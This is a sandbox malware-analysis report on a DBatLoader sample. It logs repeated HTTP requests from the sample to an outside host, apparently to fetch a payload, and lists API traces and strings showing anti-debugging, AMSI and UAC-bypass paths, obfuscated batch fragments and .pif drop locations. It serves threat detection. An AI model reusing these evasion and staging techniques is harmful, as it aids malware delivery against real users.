2025-01-14 07:25:58 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:58 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	50100	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:00 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:00 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:00 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	50102	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:02 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:02 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:02 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	50104	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:04 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:04 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:04 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50106	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:06 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:06 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:06 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	50108	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:08 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:08 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:08 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	50110	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:09 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:10 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:10 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	02:24:06
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\UAHIzSm2x2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UAHIzSm2x2.exe"
Imagebase:	0x400000
File size:	1'161'216 bytes
MD5 hash:	483AB6BD562B28782D0999ABEC4F57F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.3461173693.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.3446485255.00000000022F6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	14.6%
Total number of Nodes:	268
Total number of Limit Nodes:	15

Executed Functions

Function 028AF0A8 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InetIsOffline.URL(00000000,00000000,028BB3D5,?,?,?,000002F7,00000000,00000000), ref: 028AF0E2

Part of subcall function 028A881C: LoadLibraryA.KERNEL32(00000000,00000000,028A8903), ref: 028A8850
Part of subcall function 028A881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,028A8903), ref: 028A8860
Part of subcall function 028A881C: GetProcAddress.KERNEL32(74F60000,00000000), ref: 028A8879
Part of subcall function 028A881C: FreeLibrary.KERNEL32(74F60000,00000000,028F2388,Function_000065D8,00000004,028F2398,028F2388,000186A3,00000040,028F239C,74F60000,00000000,00000000,00000000,00000000,028A8903), ref: 028A88E3

Part of subcall function 028AEFC8: GetModuleHandleW.KERNEL32(KernelBase,?,028AF3CC,UacInitialize,028F237C,028BB40C,UacScan,028F237C,028BB40C,ScanBuffer,028F237C,028BB40C,OpenSession,028F237C,028BB40C,ScanString), ref: 028AEFCE
Part of subcall function 028AEFC8: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 028AEFE0

Part of subcall function 028AF024: GetModuleHandleW.KERNEL32(KernelBase), ref: 028AF034
Part of subcall function 028AF024: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 028AF046
Part of subcall function 028AF024: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 028AF05D

Part of subcall function 02897E10: GetFileAttributesA.KERNEL32(00000000,?,028AFD00,ScanString,028F237C,028BB40C,OpenSession,028F237C,028BB40C,ScanString,028F237C,028BB40C,UacScan,028F237C,028BB40C,UacInitialize), ref: 02897E1B

Part of subcall function 0289C2E4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,029E68C8,?,028B0032,ScanBuffer,028F237C,028BB40C,OpenSession,028F237C,028BB40C,ScanBuffer,028F237C,028BB40C,OpenSession), ref: 0289C2FB

Part of subcall function 028ADFE4: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,028AE0B4), ref: 028AE01F
Part of subcall function 028ADFE4: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,028AE0B4), ref: 028AE04F
Part of subcall function 028ADFE4: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 028AE064
Part of subcall function 028ADFE4: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 028AE090
Part of subcall function 028ADFE4: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 028AE099

Part of subcall function 02897E34: GetFileAttributesA.KERNEL32(00000000,?,028B2E7D,ScanString,028F237C,028BB40C,OpenSession,028F237C,028BB40C,ScanBuffer,028F237C,028BB40C,OpenSession,028F237C,028BB40C,Initialize), ref: 02897E3F

Part of subcall function 02897FC8: CreateDirectoryA.KERNEL32(00000000,00000000,?,028B301B,OpenSession,028F237C,028BB40C,ScanString,028F237C,028BB40C,Initialize,028F237C,028BB40C,ScanString,028F237C,028BB40C), ref: 02897FD5

Part of subcall function 028ADF00: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,028ADFD2), ref: 028ADF3F
Part of subcall function 028ADF00: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 028ADF79
Part of subcall function 028ADF00: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 028ADFA6
Part of subcall function 028ADF00: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 028ADFAF

Part of subcall function 028A8798: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028F23A4,028AA3BF,ScanString,028F23A4,028AA774,ScanBuffer,028F23A4,028AA774,Initialize,028F23A4,028AA774,UacScan), ref: 028A87AC
Part of subcall function 028A8798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028A87C6
Part of subcall function 028A8798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028F23A4,028AA3BF,ScanString,028F23A4,028AA774,ScanBuffer,028F23A4,028AA774,Initialize), ref: 028A8802

Part of subcall function 028A8704: LoadLibraryW.KERNEL32(amsi), ref: 028A870D
Part of subcall function 028A8704: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 028A876C

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,028F237C,028BB40C,OpenSession,028F237C,028BB40C,ScanBuffer,028F237C,028BB40C,OpenSession,028F237C,028BB40C,028BB764), ref: 028B4DEB

Part of subcall function 028ADE78: RtlInitUnicodeString.NTDLL(?,?), ref: 028ADEA0
Part of subcall function 028ADE78: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,028ADEF2), ref: 028ADEB6
Part of subcall function 028ADE78: NtDeleteFile.NTDLL(?), ref: 028ADED5

MoveFileA.KERNEL32(00000000,00000000), ref: 028B4FEB
MoveFileA.KERNEL32(00000000,00000000), ref: 028B5041

Strings

NtReadVirtualMemory, xrefs: 028BAB0F
SLLoadApplicationPolicies, xrefs: 028B9A67
C:\Users\Public\alpha.pif, xrefs: 028B4F6A
UacUninitialize, xrefs: 028B3152, 028B344F, 028B3547, 028B3D25, 028B43BF
sys.thgiseurt, xrefs: 028B4300
FindCertsByIssuer, xrefs: 028AF54A
NtQuerySecurityObject, xrefs: 028BAB42
EnumServicesStatusExW, xrefs: 028BA53E
NtAlertResumeThread, xrefs: 028BA170
EnumServicesStatusExA, xrefs: 028BA52F
bcrypt, xrefs: 028AF7A1, 028AF7D4, 028AF807, 028B9E1C
C:\\Windows \\SysWOW64\\, xrefs: 028B3F02, 028B4316
WriteVirtualMemory, xrefs: 028BA704
kernel32, xrefs: 028BA64F, 028BA682, 028BA6B5, 028BA6E8, 028BA71B, 028BA74E, 028BA781
NEO.c, xrefs: 028B4879
Ntdll, xrefs: 028BA4DA, 028BA4E9, 028BA4F8, 028BA507
C:\\Users\\Public\\Libraries\\, xrefs: 028B4F9A, 028B4FF0, 028B5CEB
CreateProcessAsUserW, xrefs: 028BA589, 028BA5A7
CryptSIPGetSignedDataMsg, xrefs: 028AF6DB
SetUnhandledExceptionFilter, xrefs: 028BA76A
ScanBuffer, xrefs: 028AF2A7, 028AF5FF, 028AF829, 028AFD90, 028AFE9D, 028AFFB5, 028B0389, 028B0527, 028B06CD, 028B07ED, 028B0982, 028B0A7A, 028B0CE3, 028B0E89, 028B1025, 028B113B, 028B11C9, 028B14DD, 028B177E, 028B188F, 028B1A2C, 028B1DD7, 028B1EE3, 028B2101, 028B221E, 028B2539, 028B25DA, 028B274E, 028B290E, 028B2C30, 028B3027, 028B32C6, 028B3357, 028B3711, 028B38F3, 028B3A67, 028B3BEA, 028B3C66, 028B3E1D, 028B4027, 028B4285, 028B44B7, 028B46FB, 028B4943, 028B4BF9, 028B4D5F, 028B4EF4, 028B522C, 028B5566, 028B587F, 028B5BFF, 028B5F38, 028B61EA, 028B63EF, 028B6555, 028B66C9, 028B6745, 028B72E8, 028B7379, 028B77A9, 028B793C, 028B7A98, 028B7B90, 028B80AD, 028B837A, 028B8520, 028B86AD, 028B8841, 028B89C0, 028B8C37, 028B8D2F, 028B914B, 028B9424, 028B9598, 028B97CE, 028B9860, 028B9B98, 028B9F36, 028BA465, 028BAD6B
SLGetGenuineInformation, xrefs: 028B99CE
psapi, xrefs: 028BA552
GetProcessMemoryInfo, xrefs: 028B9CA7
OpenProcess, xrefs: 028BA6D1
.url, xrefs: 028B590F
@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or, xrefs: 028B49CC
C:\Windows\System32\, xrefs: 028AFCEB, 028B74EF, 028B8237
spp, xrefs: 028B9C58, 028B9C8B, 028BA928
HotKey=, xrefs: 028B6A65
LdrGetProcedureAddress, xrefs: 028BABDB
OpenSession, xrefs: 028AF117, 028AF243, 028AFBF3, 028AFD14, 028AFE21, 028AFF39, 028B030D, 028B04AB, 028B0651, 028B0771, 028B0906, 028B09FE, 028B0BEB, 028B0D91, 028B10BF, 028B12ED, 028B1461, 028B1584, 028B1702, 028B1AA8, 028B1B2B, 028B1C43, 028B1D5B, 028B1E67, 028B2085, 028B21A2, 028B2441, 028B24BD, 028B26D2, 028B2872, 028B2BB4, 028B2D6F, 028B2F89, 028B30A3, 028B33D3, 028B3872, 028B39EB, 028B3B6E, 028B3FAB, 028B4209, 028B4343, 028B467F, 028B48C7, 028B4AA9, 028B4B7D, 028B4CE3, 028B4E78, 028B51B0, 028B534A, 028B54EA, 028B568F, 028B5803, 028B5A53, 028B5B07, 028B5DC4, 028B5EBC, 028B6373, 028B664D, 028B67C1, 028B6957, 028B6B07, 028B71F0, 028B73F5, 028B760E, 028B76B1, 028B7844, 028B7C0C, 028B7EA8, 028B81A5, 028B82FE, 028B84A4, 028B8631, 028B87C5, 028B8944, 028B8A47, 028B8BBB, 028B8E39, 028B9029, 028B931A, 028B94A0, 028B96D6, 028B98DC, 028B9AA0, 028B9D8F, 028B9E3E, 028BA07E, 028BA275, 028BA36D, 028BA81F, 028BADE7
C:\\Windows \\SysWOW64\\svchost.exe, xrefs: 028B3ADC
FlushInstructionCache, xrefs: 028BA737
DlpNotifyPreDragDrop, xrefs: 028B9FAC
http, xrefs: 028B1A09
EnumServicesStatusA, xrefs: 028BA511
NtQuerySystemInformation, xrefs: 028BA4D5
NtOpenObjectAuditAlarm, xrefs: 028B8DAA
UacInitialize, xrefs: 028AF36F, 028AFA36, 028B0179, 028B418D, 028B4603, 028B4DFC, 028B50B8, 028B546E, 028B595B, 028B7471, 028B8CB3, 028B90CF
SLGetEncryptedPIDEx, xrefs: 028BA9AA
RtlCreateQueryDebugBuffer, xrefs: 028BA23C
RtlAllocateHeap, xrefs: 028BA1A3, 028BA209
DllGetActivationFactory, xrefs: 028AF94E
CreateProcessAsUserA, xrefs: 028BA57A
I_QueryTagInformation, xrefs: 028B8DBE
smartscreenps, xrefs: 028AF932, 028AF965, 028AF998
ScanString, xrefs: 028AF1DF, 028AF46E, 028AF583, 028AF714, 028AF8A5, 028AFB2E, 028AFC6F, 028B01F5, 028B0E0D, 028B0FA9, 028B13E5, 028B1600, 028B167C, 028B1999, 028B1CBF, 028B1F88, 028B23C5, 028B27F6, 028B2A06, 028B2ABC, 028B2DEB, 028B2F0D, 028B31CE, 028B3619, 028B4111, 028B4587, 028B477C, 028B5134, 028B52CE, 028B5613, 028B59D7, 028B6076, 028B685C, 028B69D3, 028B6A8B, 028B70F8, 028B7592, 028B79F9, 028B801C, 028B8AC3, 028B8EB5, 028B929E, 028B965A, 028B9958, 028B9D13, 028BA0FA, 028BA2F1, 028BA89B
CryptSIPVerifyIndirectData, xrefs: 028AF6A8, 028B9CDA
WintrustAddActionID, xrefs: 028AF517
RtlQueryProcessDebugInformation, xrefs: 028BA502
EtwEventWriteEx, xrefs: 028BAC74
GZmMS1j, xrefs: 028AF0F0
NtQueryVirtualMemory, xrefs: 028BAA10
FX.c, xrefs: 028B4B2F
MiniDumpReadDumpStream, xrefs: 028B8DE6
CreateProcessA, xrefs: 028BA55C
mssip32, xrefs: 028AF68C, 028AF6BF, 028AF6F2, 028B9CF1
SLGatherMigrationBlob, xrefs: 028BA977
IconIndex=, xrefs: 028B6931
LdrLoadDll, xrefs: 028BABA8
lld.SLITUTEN, xrefs: 028B3EEC
EnumServicesStatusW, xrefs: 028BA520
CryptSIPGetInfo, xrefs: 028AF675
TrustOpenStores, xrefs: 028AF4E4
sppwmi, xrefs: 028BA95B
GET, xrefs: 028B1D36
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 028B026B
endpointdlp, xrefs: 028B9FC3, 028B9FF6, 028BA029, 028BA05C
[InternetShortcut], xrefs: 028B68CC
NtOpenFile, xrefs: 028BAC41
DllRegisterServer, xrefs: 028AF435, 028AF981
BCryptVerifySignature, xrefs: 028AF78A, 028B9E05
NtAccessCheck, xrefs: 028BAB75
NtDeviceIoControlFile, xrefs: 028BA4E4
DlpGetArchiveFileTraceInfo, xrefs: 028BA012
wintrust, xrefs: 028AF4FB, 028AF52E, 028AF561
NtSetSecurityObject, xrefs: 028B8DFA
BCryptQueryProviderRegistration, xrefs: 028AF7BD
SxTracerGetThreadContextDebug, xrefs: 028B9C41, 028BA911
NtCreateSection, xrefs: 028BAAA9
NtWaitForSingleObject, xrefs: 028BA1D6
NtWriteVirtualMemory, xrefs: 028BAC0E
psapi, xrefs: 028B9CBE
NtGetWriteWatch, xrefs: 028BA9DD
CreateProcessWithLogonW, xrefs: 028BA598
sppc, xrefs: 028B99E5, 028B9A18, 028B9A4B, 028B9A7E, 028BA98E, 028BA9C1
NtOpenProcess, xrefs: 028B8E0E
NtQueryInformationThread, xrefs: 028BAA43
GetProxyDllInfo, xrefs: 028AF40B
C:\Users\Public\aken.pif, xrefs: 028B4F85
EtwEventWrite, xrefs: 028BACA7
@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%, xrefs: 028B4C82
MiniDumpWriteDump, xrefs: 028B8DD2
Kernel32, xrefs: 028BA561, 028BA570, 028BA5AC
tquery, xrefs: 028B9C25
@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%, xrefs: 028B3795
Initialize, xrefs: 028AF17B, 028B00FD, 028B0291, 028B042F, 028B05D5, 028B088A, 028B0F2D, 028B1369, 028B1813, 028B191D, 028B2004, 028B2336, 028B2656, 028B298A, 028B2B38, 028B2E91, 028B324A, 028B53F2, 028B5787, 028B5B83, 028B5D48, 028B5FB4, 028B60F2, 028B62F7, 028B726C, 028B7F24, 028B8F31, 028B9B1C, 028B9EBA, 028BA3E9, 028BA7A3, 028BACEF
dbgcore, xrefs: 028B8DD7, 028B8DEB
VirtualAllocEx, xrefs: 028BA66B
URL=file:", xrefs: 028B68DB
ieproxy, xrefs: 028AF3F5, 028AF41C, 028AF44C
EnumProcessModules, xrefs: 028BA54D
ntdll, xrefs: 028B8DAF, 028B8DFF, 028B8E13, 028BA187, 028BA1BA, 028BA1ED, 028BA220, 028BA253, 028BA9F4, 028BAA27, 028BAA5A, 028BAA8D, 028BAAC0, 028BAAF3, 028BAB26, 028BAB59, 028BAB8C, 028BABBF, 028BABF2, 028BAC25, 028BAC58, 028BAC8B, 028BACBE
RetailTracerEnable, xrefs: 028B9C0E
CreateProcessW, xrefs: 028BA56B
NtMapViewOfSection, xrefs: 028BAADC
NtQueryDirectoryFile, xrefs: 028BA4F3
UacScan, xrefs: 028AF30B, 028AF9BA, 028AFAB2, 028B0081, 028B0C67, 028B1245, 028B1BA7, 028B22BA, 028B34CB, 028B3695, 028B37F6, 028B396F, 028B3AF2, 028B3CC3, 028B3DA1, 028B3F2F, 028B443B, 028B47F8, 028B4A2D, 028B570B, 028B5C7B, 028B5E40, 028B616E, 028B627B, 028B64D9, 028B65D1, 028B7174, 028B7516, 028B772D, 028B78C0, 028B7B14, 028B7FA0, 028B8129, 028B8282, 028B8428, 028B85B5, 028B8749, 028B88C8, 028B8B3F, 028B8FAD, 028B91C7, 028B93A8, 028B951C, 028B9752, 028BA5C2
SLIsGenuineLocalEx, xrefs: 028B9A34
WinHttp.WinHttpRequest.5.1, xrefs: 028B1C1D
DlpCheckIsCloudSyncApp, xrefs: 028B9FDF
Advapi, xrefs: 028BA516, 028BA525, 028BA534, 028BA543, 028BA57F, 028BA58E, 028BA59D
BCryptRegisterProvider, xrefs: 028AF7F0
NtOpenSection, xrefs: 028BAA76
VirtualProtect, xrefs: 028BA69E
DllGetClassObject, xrefs: 028AF3E4, 028AF91B, 028B9C74, 028BA944
advapi32, xrefs: 028B8DC3
SLGetSLIDList, xrefs: 028B9A01
DlpGetWebSiteAccess, xrefs: 028BA045
C:\Users\Public\, xrefs: 028B35B7, 028B5904, 028B6B77
VirtualAlloc, xrefs: 028BA638

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: File$LibraryPath$AddressModuleNameProc$FreeHandleLoadName_$AttributesCloseCreateMove$CheckDebuggerDeleteDirectoryInetInformationInitOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
API String ID: 2010126900-181751239
Opcode ID: 5813e85a08dc4387c5fcc790eb5b0a3370ee44a102996e02d71d684948b255bb
Instruction ID: 867cdf5c8447e0f8dfcd9ff81551096788880f8d13c0ebb749c32aa1c223154c
Opcode Fuzzy Hash: 5813e85a08dc4387c5fcc790eb5b0a3370ee44a102996e02d71d684948b255bb
Instruction Fuzzy Hash: 76240D7DA101188FDF11EB68DC90ADE73BABF95304F1480A5E409EB755DE70AE868F12

Function 02895A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02890000,028BE790), ref: 02895A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02890000,028BE790), ref: 02895AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02890000,028BE790), ref: 02895AD0
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02895AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02895B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02895B37
RegQueryValueExA.ADVAPI32(?,02895CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02895B7D,?,80000001), ref: 02895B55
RegCloseKey.ADVAPI32(?,02895B84,00000000,?,?,00000000,02895B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02895B77
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02895B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02895BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02895BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02895BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02895C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02895C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02895C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02895C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02895C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02895C97

Strings

Software\Borland\Locales, xrefs: 02895AA8, 02895AC6
Software\Borland\Delphi\Locales, xrefs: 02895AE4

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
